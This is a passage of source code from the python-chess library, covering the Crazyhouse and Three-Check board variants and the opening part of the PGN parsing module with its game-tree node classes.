self.remaining_checks[chess.WHITE], self.remaining_checks[chess.BLACK]) def copy(self, *, stack: Union[bool, int] = True) -> Self: board = super().copy(stack=stack) board.remaining_checks = self.remaining_checks.copy() if stack: stack = len(self.move_stack) if stack is True else stack board._three_check_stack = self._three_check_stack[-stack:] return board def root(self) -> Self: if self._three_check_stack: board = super().root() self._three_check_stack[0].restore(board) return board else: return self.copy(stack=False) def mirror(self) -> Self: board = super().mirror() board.remaining_checks[chess.WHITE] = self.remaining_checks[chess.BLACK] board.remaining_checks[chess.BLACK] = self.remaining_checks[chess.WHITE] return board CrazyhouseBoardT = TypeVar("CrazyhouseBoardT", bound="CrazyhouseBoard") class _CrazyhouseBoardState: def __init__(self, board: CrazyhouseBoard) -> None: self.pockets_w = board.pockets[chess.WHITE].copy() self.pockets_b = board.pockets[chess.BLACK].copy() def restore(self, board: CrazyhouseBoard) -> None: board.pockets[chess.WHITE] = self.pockets_w board.pockets[chess.BLACK] = self.pockets_b CrazyhousePocketT = TypeVar("CrazyhousePocketT", bound="CrazyhousePocket") class CrazyhousePocket: """A Crazyhouse pocket with a counter for each piece type.""" def __init__(self, symbols: Iterable[str] = "") -> None: self.reset() for symbol in symbols: self.add(chess.PIECE_SYMBOLS.index(symbol)) def reset(self) -> None: """Clears the pocket.""" self._pieces = [-1, 0, 0, 0, 0, 0, 0] def add(self, piece_type: chess.PieceType) -> None: """Adds a piece of the given type to this pocket.""" self._pieces[piece_type] += 1 def remove(self, piece_type: chess.PieceType) -> None: """Removes a piece of the given type from this pocket.""" assert self._pieces[piece_type], f"cannot remove {chess.piece_symbol(piece_type)} from {self!r}" self._pieces[piece_type] -= 1 def count(self, piece_type: chess.PieceType) -> int: """Returns the number of pieces of the given type in the pocket.""" return self._pieces[piece_type] def __str__(self) -> str: return "".join(chess.piece_symbol(pt) * self.count(pt) for pt in reversed(chess.PIECE_TYPES)) def __len__(self) -> int: return sum(self._pieces[1:]) def __repr__(self) -> str: return f"CrazyhousePocket('{self}')" def copy(self) -> Self: """Returns a copy of this pocket.""" pocket = type(self)() pocket._pieces = self._pieces[:] return pocket class CrazyhouseBoard(chess.Board): aliases = ["Crazyhouse", "Crazy House", "House", "ZH"] uci_variant = "crazyhouse" xboard_variant = "crazyhouse" starting_fen = "rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR[] w KQkq - 0 1" tbw_suffix = None tbz_suffix = None tbw_magic = None tbz_magic = None def __init__(self, fen: Optional[str] = starting_fen, chess960: bool = False) -> None: self.pockets = [CrazyhousePocket(), CrazyhousePocket()] self._crazyhouse_stack: List[_CrazyhouseBoardState] = [] super().__init__(fen, chess960=chess960) def clear_stack(self) -> None: super().clear_stack() self._crazyhouse_stack.clear() def reset_board(self) -> None: super().reset_board() self.pockets[chess.WHITE].reset() self.pockets[chess.BLACK].reset() def clear_board(self) -> None: super().clear_board() self.pockets[chess.WHITE].reset() self.pockets[chess.BLACK].reset() def push(self, move: chess.Move) -> None: self._crazyhouse_stack.append(_CrazyhouseBoardState(self)) super().push(move) if move.drop: self.pockets[not self.turn].remove(move.drop) def _push_capture(self, move: chess.Move, capture_square: chess.Square, piece_type: chess.PieceType, was_promoted: bool) -> None: if was_promoted: self.pockets[self.turn].add(chess.PAWN) else: self.pockets[self.turn].add(piece_type) def pop(self) -> chess.Move: move = super().pop() self._crazyhouse_stack.pop().restore(self) return move def _is_halfmoves(self, n: int) -> bool: # No draw by 50-move rule or 75-move rule. return False def is_irreversible(self, move: chess.Move) -> bool: return self._reduces_castling_rights(move) def _transposition_key(self) -> Hashable: return (super()._transposition_key(), self.promoted, str(self.pockets[chess.WHITE]), str(self.pockets[chess.BLACK])) def legal_drop_squares_mask(self) -> chess.Bitboard: king = self.king(self.turn) if king is None: return ~self.occupied king_attackers = self.attackers_mask(not self.turn, king) if not king_attackers: return ~self.occupied elif chess.popcount(king_attackers) == 1: return chess.between(king, chess.msb(king_attackers)) & ~self.occupied else: return chess.BB_EMPTY def legal_drop_squares(self) -> chess.SquareSet: """ Gets the squares where the side to move could legally drop a piece. Does *not* check whether they actually have a suitable piece in their pocket. It is legal to drop a checkmate. Returns a :class:`set of squares <chess.SquareSet>`. """ return chess.SquareSet(self.legal_drop_squares_mask()) def is_pseudo_legal(self, move: chess.Move) -> bool: if move.drop and move.from_square == move.to_square: return ( move.drop != chess.KING and not chess.BB_SQUARES[move.to_square] & self.occupied and not (move.drop == chess.PAWN and chess.BB_SQUARES[move.to_square] & chess.BB_BACKRANKS) and self.pockets[self.turn].count(move.drop) > 0) else: return super().is_pseudo_legal(move) def is_legal(self, move: chess.Move) -> bool: if move.drop: return self.is_pseudo_legal(move) and bool(self.legal_drop_squares_mask() & chess.BB_SQUARES[move.to_square]) else: return super().is_legal(move) def generate_pseudo_legal_drops(self, to_mask: chess.Bitboard = chess.BB_ALL) -> Iterator[chess.Move]: for pt in chess.PIECE_TYPES: if self.pockets[self.turn].count(pt): for to_square in chess.scan_forward(to_mask & ~self.occupied & (~chess.BB_BACKRANKS if pt == chess.PAWN else chess.BB_ALL)): yield chess.Move(to_square, to_square, drop=pt) def generate_legal_drops(self, to_mask: chess.Bitboard = chess.BB_ALL) -> Iterator[chess.Move]: return self.generate_pseudo_legal_drops(to_mask=self.legal_drop_squares_mask() & to_mask) def generate_legal_moves(self, from_mask: chess.Bitboard = chess.BB_ALL, to_mask: chess.Bitboard = chess.BB_ALL) -> Iterator[chess.Move]: return itertools.chain( super().generate_legal_moves(from_mask, to_mask), self.generate_legal_drops(from_mask & to_mask)) def parse_san(self, san: str) -> chess.Move: if "@" in san: uci = san.rstrip("+#") if uci[0] == "@": uci = "P" + uci move = chess.Move.from_uci(uci) if not self.is_legal(move): raise chess.IllegalMoveError(f"illegal drop san: {san!r} in {self.fen()}") return move else: return super().parse_san(san) def has_insufficient_material(self, color: chess.Color) -> bool: # In practice, no material can leave the game, but this is easy to # implement, anyway. Note that bishops can be captured and put onto # a different color complex. return ( chess.popcount(self.occupied) + sum(len(pocket) for pocket in self.pockets) <= 3 and not self.promoted and not self.pawns and not self.rooks and not self.queens and not any(pocket.count(chess.PAWN) for pocket in self.pockets) and not any(pocket.count(chess.ROOK) for pocket in self.pockets) and not any(pocket.count(chess.QUEEN) for pocket in self.pockets)) def set_fen(self, fen: str) -> None: position_part, info_part = fen.split(None, 1) # Transform to lichess-style ZH FEN. if position_part.endswith("]"): if position_part.count("/") != 7: raise ValueError(f"expected 8 rows in position part of zh fen: {fen!r}") position_part = position_part[:-1].replace("[", "/", 1) # Split off pocket part. if position_part.count("/") == 8: position_part, pocket_part = position_part.rsplit("/", 1) else: pocket_part = "" # Parse pocket. white_pocket = CrazyhousePocket(c.lower() for c in pocket_part if c.isupper()) black_pocket = CrazyhousePocket(c for c in pocket_part if not c.isupper()) # Set FEN and pockets. super().set_fen(position_part + " " + info_part) self.pockets[chess.WHITE] = white_pocket self.pockets[chess.BLACK] = black_pocket def board_fen(self, *, promoted: Optional[bool] = None) -> str: if promoted is None: promoted = True return super().board_fen(promoted=promoted) def epd(self, shredder: bool = False, en_passant: chess.EnPassantSpec = "legal", promoted: Optional[bool] = None, **operations: Union[None, str, int, float, chess.Move, Iterable[chess.Move]]) -> str: epd = super().epd(shredder=shredder, en_passant=en_passant, promoted=promoted) board_part, info_part = epd.split(" ", 1) return f"{board_part}[{str(self.pockets[chess.WHITE]).upper()}{self.pockets[chess.BLACK]}] {info_part}" def copy(self, *, stack: Union[bool, int] = True) -> Self: board = super().copy(stack=stack) board.pockets[chess.WHITE] = self.pockets[chess.WHITE].copy() board.pockets[chess.BLACK] = self.pockets[chess.BLACK].copy() if stack: stack = len(self.move_stack) if stack is True else stack board._crazyhouse_stack = self._crazyhouse_stack[-stack:] return board def root(self) -> Self: if self._crazyhouse_stack: board = super().root() self._crazyhouse_stack[0].restore(board) return board else: return self.copy(stack=False) def mirror(self) -> Self: board = super().mirror() board.pockets[chess.WHITE] = self.pockets[chess.BLACK].copy() board.pockets[chess.BLACK] = self.pockets[chess.WHITE].copy() return board def status(self) -> chess.Status: status = super().status() if chess.popcount(self.pawns) + self.pockets[chess.WHITE].count(chess.PAWN) + self.pockets[chess.BLACK].count(chess.PAWN) <= 16: status &= ~chess.STATUS_TOO_MANY_BLACK_PAWNS status &= ~chess.STATUS_TOO_MANY_WHITE_PAWNS if chess.popcount(self.occupied) + len(self.pockets[chess.WHITE]) + len(self.pockets[chess.BLACK]) <= 32: status &= ~chess.STATUS_TOO_MANY_BLACK_PIECES status &= ~chess.STATUS_TOO_MANY_WHITE_PIECES return status VARIANTS: List[Type[chess.Board]] = [ chess.Board, SuicideBoard, GiveawayBoard, AntichessBoard, AtomicBoard, KingOfTheHillBoard, RacingKingsBoard, HordeBoard, ThreeCheckBoard, CrazyhouseBoard, ] def find_variant(name: str) -> Type[chess.Board]: """ Looks for a variant board class by variant name. Supports many common aliases. """ for variant in VARIANTS: if any(alias.lower() == name.lower() for alias in variant.aliases): return variant raise ValueError(f"unsupported variant: {name}")
46,221
Python
.py
900
40.747778
203
0.608889
niklasf/python-chess
2,384
520
22
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,418
pgn.py
niklasf_python-chess/chess/pgn.py
from __future__ import annotations import abc import dataclasses import enum import itertools import logging import re import typing import chess import chess.engine import chess.svg from typing import Any, Callable, Dict, Generic, Iterable, Iterator, List, Literal, Mapping, MutableMapping, Set, TextIO, Tuple, Type, TypeVar, Optional, Union from chess import Color, Square if typing.TYPE_CHECKING: from typing_extensions import Self, override else: F = typing.TypeVar("F", bound=Callable[..., Any]) def override(fn: F, /) -> F: return fn LOGGER = logging.getLogger(__name__) # Reference of Numeric Annotation Glyphs (NAGs): # https://en.wikipedia.org/wiki/Numeric_Annotation_Glyphs NAG_NULL = 0 NAG_GOOD_MOVE = 1 """A good move. Can also be indicated by ``!`` in PGN notation.""" NAG_MISTAKE = 2 """A mistake. Can also be indicated by ``?`` in PGN notation.""" NAG_BRILLIANT_MOVE = 3 """A brilliant move. Can also be indicated by ``!!`` in PGN notation.""" NAG_BLUNDER = 4 """A blunder. Can also be indicated by ``??`` in PGN notation.""" NAG_SPECULATIVE_MOVE = 5 """A speculative move. Can also be indicated by ``!?`` in PGN notation.""" NAG_DUBIOUS_MOVE = 6 """A dubious move. Can also be indicated by ``?!`` in PGN notation.""" NAG_FORCED_MOVE = 7 NAG_SINGULAR_MOVE = 8 NAG_WORST_MOVE = 9 NAG_DRAWISH_POSITION = 10 NAG_QUIET_POSITION = 11 NAG_ACTIVE_POSITION = 12 NAG_UNCLEAR_POSITION = 13 NAG_WHITE_SLIGHT_ADVANTAGE = 14 NAG_BLACK_SLIGHT_ADVANTAGE = 15 NAG_WHITE_MODERATE_ADVANTAGE = 16 NAG_BLACK_MODERATE_ADVANTAGE = 17 NAG_WHITE_DECISIVE_ADVANTAGE = 18 NAG_BLACK_DECISIVE_ADVANTAGE = 19 NAG_WHITE_ZUGZWANG = 22 NAG_BLACK_ZUGZWANG = 23 NAG_WHITE_MODERATE_COUNTERPLAY = 132 NAG_BLACK_MODERATE_COUNTERPLAY = 133 NAG_WHITE_DECISIVE_COUNTERPLAY = 134 NAG_BLACK_DECISIVE_COUNTERPLAY = 135 NAG_WHITE_MODERATE_TIME_PRESSURE = 136 NAG_BLACK_MODERATE_TIME_PRESSURE = 137 NAG_WHITE_SEVERE_TIME_PRESSURE = 138 NAG_BLACK_SEVERE_TIME_PRESSURE = 139 NAG_NOVELTY = 146 TAG_REGEX = re.compile(r"^\[([A-Za-z0-9][A-Za-z0-9_+#=:-]*)\s+\"([^\r]*)\"\]\s*$") TAG_NAME_REGEX = re.compile(r"^[A-Za-z0-9][A-Za-z0-9_+#=:-]*\Z") MOVETEXT_REGEX = re.compile(r""" ( [NBKRQ]?[a-h]?[1-8]?[\-x]?[a-h][1-8](?:=?[nbrqkNBRQK])? |[PNBRQK]?@[a-h][1-8] |-- |Z0 |0000 |@@@@ |O-O(?:-O)? |0-0(?:-0)? ) |(\{.*) |(;.*) |(\$[0-9]+) |(\() |(\)) |(\*|1-0|0-1|1/2-1/2) |([\?!]{1,2}) """, re.DOTALL | re.VERBOSE) SKIP_MOVETEXT_REGEX = re.compile(r""";|\{|\}""") CLOCK_REGEX = re.compile(r"""(?P<prefix>\s?)\[%clk\s(?P<hours>\d+):(?P<minutes>\d+):(?P<seconds>\d+(?:\.\d*)?)\](?P<suffix>\s?)""") EMT_REGEX = re.compile(r"""(?P<prefix>\s?)\[%emt\s(?P<hours>\d+):(?P<minutes>\d+):(?P<seconds>\d+(?:\.\d*)?)\](?P<suffix>\s?)""") EVAL_REGEX = re.compile(r""" (?P<prefix>\s?) \[%eval\s(?: \#(?P<mate>[+-]?\d+) |(?P<cp>[+-]?(?:\d{0,10}\.\d{1,2}|\d{1,10}\.?)) )(?: ,(?P<depth>\d+) )?\] (?P<suffix>\s?) """, re.VERBOSE) ARROWS_REGEX = re.compile(r""" (?P<prefix>\s?) \[%(?:csl|cal)\s(?P<arrows> [RGYB][a-h][1-8](?:[a-h][1-8])? (?:,[RGYB][a-h][1-8](?:[a-h][1-8])?)* )\] (?P<suffix>\s?) """, re.VERBOSE) def _condense_affix(infix: str) -> Callable[[typing.Match[str]], str]: def repl(match: typing.Match[str]) -> str: if infix: return match.group("prefix") + infix + match.group("suffix") else: return match.group("prefix") and match.group("suffix") return repl def _standardize_comments(comment: Union[str, list[str]]) -> list[str]: return [] if not comment else [comment] if isinstance(comment, str) else comment TAG_ROSTER = ["Event", "Site", "Date", "Round", "White", "Black", "Result"] class SkipType(enum.Enum): SKIP = None SKIP = SkipType.SKIP ResultT = TypeVar("ResultT", covariant=True) class TimeControlType(enum.Enum): UNKNOWN = 0 UNLIMITED = 1 STANDARD = 2 RAPID = 3 BLITZ = 4 BULLET = 5 @dataclasses.dataclass class TimeControlPart: moves: int = 0 time: int = 0 increment: float = 0 delay: float = 0 @dataclasses.dataclass class TimeControl: """ PGN TimeControl Parser Spec: http://www.saremba.de/chessgml/standards/pgn/pgn-complete.htm#c9.6 Not Yet Implemented: - Hourglass/Sandclock ('*' prefix) - Differentiating between Bronstein and Simple Delay (Not part of the PGN Spec) - More Info: https://en.wikipedia.org/wiki/Chess_clock#Timing_methods """ parts: list[TimeControlPart] = dataclasses.field(default_factory=list) type: TimeControlType = TimeControlType.UNKNOWN class _AcceptFrame: def __init__(self, node: ChildNode, *, is_variation: bool = False, sidelines: bool = True): self.state = "pre" self.node = node self.is_variation = is_variation self.variations = iter(itertools.islice(node.parent.variations, 1, None) if sidelines else []) self.in_variation = False class GameNode(abc.ABC): variations: List[ChildNode] """A list of child nodes.""" comments: list[str] """ A comment that goes behind the move leading to this node. Comments that occur before any moves are assigned to the root node. """ starting_comments: list[str] nags: Set[int] def __init__(self, *, comment: Union[str, list[str]] = "") -> None: self.variations = [] self.comments = _standardize_comments(comment) # Deprecated: These should be properties of ChildNode, but need to # remain here for backwards compatibility. self.starting_comments = [] self.nags = set() @property @abc.abstractmethod def parent(self) -> Optional[GameNode]: """The parent node or ``None`` if this is the root node of the game.""" @property @abc.abstractmethod def move(self) -> Optional[chess.Move]: """ The move leading to this node or ``None`` if this is the root node of the game. """ @abc.abstractmethod def board(self) -> chess.Board: """ Gets a board with the position of the node. For the root node, this is the default starting position (for the ``Variant``) unless the ``FEN`` header tag is set. It's a copy, so modifying the board will not alter the game. Complexity is `O(n)`. """ @abc.abstractmethod def ply(self) -> int: """ Returns the number of half-moves up to this node, as indicated by fullmove number and turn of the position. See :func:`chess.Board.ply()`. Usually this is equal to the number of parent nodes, but it may be more if the game was started from a custom position. Complexity is `O(n)`. """ def turn(self) -> Color: """ Gets the color to move at this node. See :data:`chess.Board.turn`. Complexity is `O(n)`. """ return self.ply() % 2 == 0 def root(self) -> GameNode: node = self while node.parent: node = node.parent return node def game(self) -> Game: """ Gets the root node, i.e., the game. Complexity is `O(n)`. """ root = self.root() assert isinstance(root, Game), "GameNode not rooted in Game" return root def end(self) -> GameNode: """ Follows the main variation to the end and returns the last node. Complexity is `O(n)`. """ node = self while node.variations: node = node.variations[0] return node def is_end(self) -> bool: """ Checks if this node is the last node in the current variation. Complexity is `O(1)`. """ return not self.variations def starts_variation(self) -> bool: """ Checks if this node starts a variation (and can thus have a starting comment). The root node does not start a variation and can have no starting comment. For example, in ``1. e4 e5 (1... c5 2. Nf3) 2. Nf3``, the node holding 1... c5 starts a variation. Complexity is `O(1)`. """ if not self.parent or not self.parent.variations: return False return self.parent.variations[0] != self def is_mainline(self) -> bool: """ Checks if the node is in the mainline of the game. Complexity is `O(n)`. """ node = self while node.parent: parent = node.parent if not parent.variations or parent.variations[0] != node: return False node = parent return True def is_main_variation(self) -> bool: """ Checks if this node is the first variation from the point of view of its parent. The root node is also in the main variation. Complexity is `O(1)`. """ if not self.parent: return True return not self.parent.variations or self.parent.variations[0] == self def __getitem__(self, move: Union[int, chess.Move, GameNode]) -> ChildNode: try: return self.variations[move] # type: ignore except TypeError: for variation in self.variations: if variation.move == move or variation == move: return variation raise KeyError(move) def __contains__(self, move: Union[int, chess.Move, GameNode]) -> bool: try: self[move] except KeyError: return False else: return True def variation(self, move: Union[int, chess.Move, GameNode]) -> ChildNode: """ Gets a child node by either the move or the variation index. """ return self[move] def has_variation(self, move: Union[int, chess.Move, GameNode]) -> bool: """Checks if this node has the given variation.""" return move in self def promote_to_main(self, move: Union[int, chess.Move, GameNode]) -> None: """Promotes the given *move* to the main variation.""" variation = self[move] self.variations.remove(variation) self.variations.insert(0, variation) def promote(self, move: Union[int, chess.Move, GameNode]) -> None: """Moves a variation one up in the list of variations.""" variation = self[move] i = self.variations.index(variation) if i > 0: self.variations[i - 1], self.variations[i] = self.variations[i], self.variations[i - 1] def demote(self, move: Union[int, chess.Move, GameNode]) -> None: """Moves a variation one down in the list of variations.""" variation = self[move] i = self.variations.index(variation) if i < len(self.variations) - 1: self.variations[i + 1], self.variations[i] = self.variations[i], self.variations[i + 1] def remove_variation(self, move: Union[int, chess.Move, GameNode]) -> None: """Removes a variation.""" self.variations.remove(self.variation(move)) def add_variation(self, move: chess.Move, *, comment: Union[str, list[str]] = "", starting_comment: Union[str, list[str]] = "", nags: Iterable[int] = []) -> ChildNode: """Creates a child node with the given attributes.""" # Instanciate ChildNode only in this method. return ChildNode(self, move, comment=comment, starting_comment=starting_comment, nags=nags) def add_main_variation(self, move: chess.Move, *, comment: str = "", nags: Iterable[int] = []) -> ChildNode: """ Creates a child node with the given attributes and promotes it to the main variation. """ node = self.add_variation(move, comment=comment, nags=nags) self.variations.insert(0, self.variations.pop()) return node def next(self) -> Optional[ChildNode]: """ Returns the first node of the mainline after this node, or ``None`` if this node does not have any children. Complexity is `O(1)`. """ return self.variations[0] if self.variations else None def mainline(self) -> Mainline[ChildNode]: """Returns an iterable over the mainline starting after this node.""" return Mainline(self, lambda node: node) def mainline_moves(self) -> Mainline[chess.Move]: """Returns an iterable over the main moves after this node.""" return Mainline(self, lambda node: node.move) def add_line(self, moves: Iterable[chess.Move], *, comment: Union[str, list[str]] = "", starting_comment: Union[str, list[str]] = "", nags: Iterable[int] = []) -> GameNode: """ Creates a sequence of child nodes for the given list of moves. Adds *comment* and *nags* to the last node of the line and returns it. """ node = self # Add line. for move in moves: node = node.add_variation(move, starting_comment=starting_comment) starting_comment = "" # Merge comment and NAGs. comments = _standardize_comments(comment) node.comments.extend(comments) node.nags.update(nags) return node def eval(self) -> Optional[chess.engine.PovScore]: """ Parses the first valid ``[%eval ...]`` annotation in the comment of this node, if any. Complexity is `O(n)`. """ match = EVAL_REGEX.search(" ".join(self.comments)) if not match: return None turn = self.turn() if match.group("mate"): mate = int(match.group("mate")) score: chess.engine.Score = chess.engine.Mate(mate) if mate == 0: # Resolve this ambiguity in the specification in favor of # standard chess: The player to move after mate is the player # who has been mated. return chess.engine.PovScore(score, turn) else: score = chess.engine.Cp(round(float(match.group("cp")) * 100)) return chess.engine.PovScore(score if turn else -score, turn) def eval_depth(self) -> Optional[int]: """ Parses the first valid ``[%eval ...]`` annotation in the comment of this node and returns the corresponding depth, if any. Complexity is `O(1)`. """ match = EVAL_REGEX.search(" ".join(self.comments)) return int(match.group("depth")) if match and match.group("depth") else None def set_eval(self, score: Optional[chess.engine.PovScore], depth: Optional[int] = None) -> None: """ Replaces the first valid ``[%eval ...]`` annotation in the comment of this node or adds a new one. """ eval = "" if score is not None: depth_suffix = "" if depth is None else f",{max(depth, 0):d}" cp = score.white().score() if cp is not None: eval = f"[%eval {float(cp) / 100:.2f}{depth_suffix}]" elif score.white().mate(): eval = f"[%eval #{score.white().mate()}{depth_suffix}]" self._replace_or_add_annotation(eval, EVAL_REGEX) def arrows(self) -> List[chess.svg.Arrow]: """ Parses all ``[%csl ...]`` and ``[%cal ...]`` annotations in the comment of this node. Returns a list of :class:`arrows <chess.svg.Arrow>`. """ arrows = [] for match in ARROWS_REGEX.finditer(" ".join(self.comments)): for group in match.group("arrows").split(","): arrows.append(chess.svg.Arrow.from_pgn(group)) return arrows def set_arrows(self, arrows: Iterable[Union[chess.svg.Arrow, Tuple[Square, Square]]]) -> None: """ Replaces all valid ``[%csl ...]`` and ``[%cal ...]`` annotations in the comment of this node or adds new ones. """ csl: List[str] = [] cal: List[str] = [] for arrow in arrows: try: tail, head = arrow # type: ignore arrow = chess.svg.Arrow(tail, head) except TypeError: pass (csl if arrow.tail == arrow.head else cal).append(arrow.pgn()) # type: ignore for index in range(len(self.comments)): self.comments[index] = ARROWS_REGEX.sub(_condense_affix(""), self.comments[index]) self.comments = list(filter(None, self.comments)) prefix = "" if csl: prefix += f"[%csl {','.join(csl)}]" if cal: prefix += f"[%cal {','.join(cal)}]" if prefix: self.comments.insert(0, prefix) def clock(self) -> Optional[float]: """ Parses the first valid ``[%clk ...]`` annotation in the comment of this node, if any. Returns the player's remaining time to the next time control after this move, in seconds. """ match = CLOCK_REGEX.search(" ".join(self.comments)) if match is None: return None return int(match.group("hours")) * 3600 + int(match.group("minutes")) * 60 + float(match.group("seconds")) def set_clock(self, seconds: Optional[float]) -> None: """ Replaces the first valid ``[%clk ...]`` annotation in the comment of this node or adds a new one. """ clk = "" if seconds is not None: seconds = max(0, seconds) hours = int(seconds // 3600) minutes = int(seconds % 3600 // 60) seconds = seconds % 3600 % 60 seconds_part = f"{seconds:06.3f}".rstrip("0").rstrip(".") clk = f"[%clk {hours:d}:{minutes:02d}:{seconds_part}]" self._replace_or_add_annotation(clk, CLOCK_REGEX) def emt(self) -> Optional[float]: """ Parses the first valid ``[%emt ...]`` annotation in the comment of this node, if any. Returns the player's elapsed move time use for the comment of this move, in seconds. """ match = EMT_REGEX.search(" ".join(self.comments)) if match is None: return None return int(match.group("hours")) * 3600 + int(match.group("minutes")) * 60 + float(match.group("seconds")) def set_emt(self, seconds: Optional[float]) -> None: """ Replaces the first valid ``[%emt ...]`` annotation in the comment of this node or adds a new one. """ emt = "" if seconds is not None: seconds = max(0, seconds) hours = int(seconds // 3600) minutes = int(seconds % 3600 // 60) seconds = seconds % 3600 % 60 seconds_part = f"{seconds:06.3f}".rstrip("0").rstrip(".") emt = f"[%emt {hours:d}:{minutes:02d}:{seconds_part}]" self._replace_or_add_annotation(emt, EMT_REGEX) def _replace_or_add_annotation(self, text: str, regex: re.Pattern[str]) -> None: found = 0 for index in range(len(self.comments)): self.comments[index], found = regex.subn(_condense_affix(text), self.comments[index], count=1) if found: break self.comments = list(filter(None, self.comments)) if not found and text: self.comments.append(text) @abc.abstractmethod def accept(self, visitor: BaseVisitor[ResultT]) -> ResultT: """ Traverses game nodes in PGN order using the given *visitor*. Starts with the move leading to this node. Returns the *visitor* result. """ def accept_subgame(self, visitor: BaseVisitor[ResultT]) -> ResultT: """ Traverses headers and game nodes in PGN order, as if the game was starting after this node. Returns the *visitor* result. """ if visitor.begin_game() is not SKIP: game = self.game() board = self.board() dummy_game = Game.without_tag_roster() dummy_game.setup(board) visitor.begin_headers() for tagname, tagvalue in game.headers.items(): if tagname not in dummy_game.headers: visitor.visit_header(tagname, tagvalue) for tagname, tagvalue in dummy_game.headers.items(): visitor.visit_header(tagname, tagvalue) if visitor.end_headers() is not SKIP: visitor.visit_board(board) if self.variations: self.variations[0]._accept(board, visitor) visitor.visit_result(game.headers.get("Result", "*")) visitor.end_game() return visitor.result() def __str__(self) -> str: return self.accept(StringExporter(columns=None)) class ChildNode(GameNode): """ A child node of a game, with the move leading to it. Extends :class:`~chess.pgn.GameNode`. """ starting_comments: list[str] """ A comment for the start of a variation. Only nodes that actually start a variation (:func:`~chess.pgn.GameNode.starts_variation()` checks this) can have a starting comment. The root node can not have a starting comment. """ nags: Set[int] """ A set of NAGs as integers. NAGs always go behind a move, so the root node of the game will never have NAGs. """ def __init__(self, parent: GameNode, move: chess.Move, *, comment: Union[str, list[str]] = "", starting_comment: Union[str, list[str]] = "", nags: Iterable[int] = []) -> None: super().__init__(comment=comment) self._parent = parent self._move = move self.parent.variations.append(self) self.nags.update(nags) self.starting_comments = _standardize_comments(starting_comment) @property @override def parent(self) -> GameNode: """The parent node.""" return self._parent @property @override def move(self) -> chess.Move: """The move leading to this node.""" return self._move @override def board(self) -> chess.Board: stack: List[chess.Move] = [] node: GameNode = self while node.move is not None and node.parent is not None: stack.append(node.move) node = node.parent board = node.game().board() while stack: board.push(stack.pop()) return board @override def ply(self) -> int: ply = 0 node: GameNode = self while node.parent is not None: ply += 1 node = node.parent return node.game().ply() + ply def san(self) -> str: """ Gets the standard algebraic notation of the move leading to this node. See :func:`chess.Board.san()`. Do not call this on the root node. Complexity is `O(n)`. """ return self.parent.board().san(self.move) def uci(self, *, chess960: Optional[bool] = None) -> str: """ Gets the UCI notation of the move leading to this node. See :func:`chess.Board.uci()`. Do not call this on the root node. Complexity is `O(n)`. """ return self.parent.board().uci(self.move, chess960=chess960) @override def end(self) -> ChildNode: """ Follows the main variation to the end and returns the last node. Complexity is `O(n)`. """ return typing.cast(ChildNode, super().end()) def _accept_node(self, parent_board: chess.Board, visitor: BaseVisitor[ResultT]) -> None: if self.starting_comments: visitor.visit_comment(self.starting_comments) visitor.visit_move(parent_board, self.move) parent_board.push(self.move) visitor.visit_board(parent_board) parent_board.pop() for nag in sorted(self.nags): visitor.visit_nag(nag) if self.comments: visitor.visit_comment(self.comments) def _accept(self, parent_board: chess.Board, visitor: BaseVisitor[ResultT], *, sidelines: bool = True) -> None: stack = [_AcceptFrame(self, sidelines=sidelines)] while stack: top = stack[-1] if top.in_variation: top.in_variation = False visitor.end_variation() if top.state == "pre": top.node._accept_node(parent_board, visitor) top.state = "variations" elif top.state == "variations": try: variation = next(top.variations) except StopIteration: if top.node.variations: parent_board.push(top.node.move) stack.append(_AcceptFrame(top.node.variations[0], sidelines=True)) top.state = "post" else: top.state = "end" else: if visitor.begin_variation() is not SKIP: stack.append(_AcceptFrame(variation, sidelines=False, is_variation=True)) top.in_variation = True elif top.state == "post": parent_board.pop() top.state = "end" else: stack.pop() @override def accept(self, visitor: BaseVisitor[ResultT]) -> ResultT: self._accept(self.parent.board(), visitor, sidelines=False) return visitor.result() def __repr__(self) -> str: try: parent_board = self.parent.board() except ValueError: return f"<{type(self).__name__} at {id(self):#x} (dangling: {self.move})>" else: return "<{} at {:#x} ({}{} {} ...)>".format( type(self).__name__, id(self), parent_board.fullmove_number, "." if parent_board.turn == chess.WHITE else "...", parent_board.san(self.move)) GameT = TypeVar("GameT", bound="Game") class Game(GameNode): """ The root node of a game with extra information such as headers and the starting position. Extends :class:`~chess.pgn.GameNode`. """ headers: Headers """ A mapping of headers. By default, the following 7 headers are provided (Seven Tag Roster): >>> import chess.pgn >>> >>> game = chess.pgn.Game() >>> game.headers Headers(Event='?', Site='?', Date='????.??.??', Round='?', White='?', Black='?', Result='*') """ errors: List[Exception] """ A list of errors (such as illegal or ambiguous moves) encountered while parsing the game. """ def __init__(self, headers: Optional[Union[Mapping[str, str], Iterable[Tuple[str, str]]]] = None) -> None: super().__init__() self.headers = Headers(headers) self.errors = [] @property @override def parent(self) -> None: return None @property @override def move(self) -> None: return None @override def board(self) -> chess.Board: return self.headers.board() @override def ply(self) -> int: # Optimization: Parse FEN only for custom starting positions. return self.board().ply() if "FEN" in self.headers else 0 def setup(self, board: Union[chess.Board, str]) -> None: """ Sets up a specific starting position. This sets (or resets) the ``FEN``, ``SetUp``, and ``Variant`` header tags. """ try: fen = board.fen() # type: ignore setup = typing.cast(chess.Board, board) except AttributeError: setup = chess.Board(board) # type: ignore setup.chess960 = setup.has_chess960_castling_rights() fen = setup.fen() if fen == type(setup).starting_fen: self.headers.pop("FEN", None) self.headers.pop("SetUp", None) else: self.headers["FEN"] = fen self.headers["SetUp"] = "1" if type(setup).aliases[0] == "Standard" and setup.chess960: self.headers["Variant"] = "Chess960" elif type(setup).aliases[0] != "Standard": self.headers["Variant"] = type(setup).aliases[0] self.headers["FEN"] = fen else: self.headers.pop("Variant", None) @override def accept(self, visitor: BaseVisitor[ResultT]) -> ResultT: """ Traverses the game in PGN order using the given *visitor*. Returns the *visitor* result. """ if visitor.begin_game() is not SKIP: for tagname, tagvalue in self.headers.items(): visitor.visit_header(tagname, tagvalue) if visitor.end_headers() is not SKIP: board = self.board() visitor.visit_board(board) if self.comments: visitor.visit_comment(self.comments) if self.variations: self.variations[0]._accept(board, visitor) visitor.visit_result(self.headers.get("Result", "*")) visitor.end_game() return visitor.result() def time_control(self) -> TimeControl: """ Returns the time control of the game. If the game has no time control information, the default time control ('UNKNOWN') is returned. """ time_control_header = self.headers.get("TimeControl", "") return parse_time_control(time_control_header) @classmethod def from_board(cls: Type[GameT], board: chess.Board) -> GameT: """Creates a game from the move stack 